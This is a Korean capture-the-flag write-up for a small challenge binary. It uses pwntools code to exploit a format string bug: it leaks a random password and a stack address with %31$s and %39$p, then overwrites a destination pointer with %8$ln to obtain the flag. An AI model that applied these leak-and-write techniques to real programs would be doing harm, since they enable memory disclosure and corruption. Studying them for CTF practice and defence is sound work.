exploit 설계
password를 /dev/urandom에서 가져온다. 결국 랜덤 값이므로 2번에서 format string bug로 leak할 것이다.
- 구한
password를 이용해 2번에서 kind kid list에 wyv3rn을 넣는다.
dest와 wyv3rn이 달라야하므로 dest를 2번으로 변조해야한다. 그래서 다시 한번 format string bug로 dest의 주소를 찾아온다.
- 구한
dest의 주소에 다른 값을 넣는다.
- 그 후 3번을 눌러 flag를 받는다.
1. leak password & add wyv3rn
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', b'%31$s')
password = p.recvn(8)
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', password)
p.sendlineafter(b'Name : ', b'wyv3rn')
password를 담고 있는 ptr은 [rbp-0x18]에 있다. 내가 입력 받는 s2는 [rbp-0xe0]에 있으므로 둘의 offset을 이용해 password를 찾아본다.
password를 구하고 kind kid list에 wyv3rn 을 넣는다.
2. find dest
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', b'%39$p')
dest = int(p.recvuntil(b'is')[:-3].ljust(8, b'\x00'), 16) - 0x1d8
dest는 [rbp-0xc0]에 있다. 따라서 또 s2와의 offset을 이용해 dest의 주소를 찾는다.

v2를 입력하고 printf(s2); 직전의 s2 map이다. 0x7fffffffe5b8의 값이 stack영역의 주소이므로, 원래 dest와의 offset을 구해보면 0x1d8임을 알 수 있다.
3. change dest
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', password)
p.sendlineafter(b'Name : ', p64(dest))
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Password : ', b'A%8$ln')
name[rbp-0xd0]에 dest의 주소를 담는다. 그리고 거기에 AAAAAAAA를 담는거로 하자.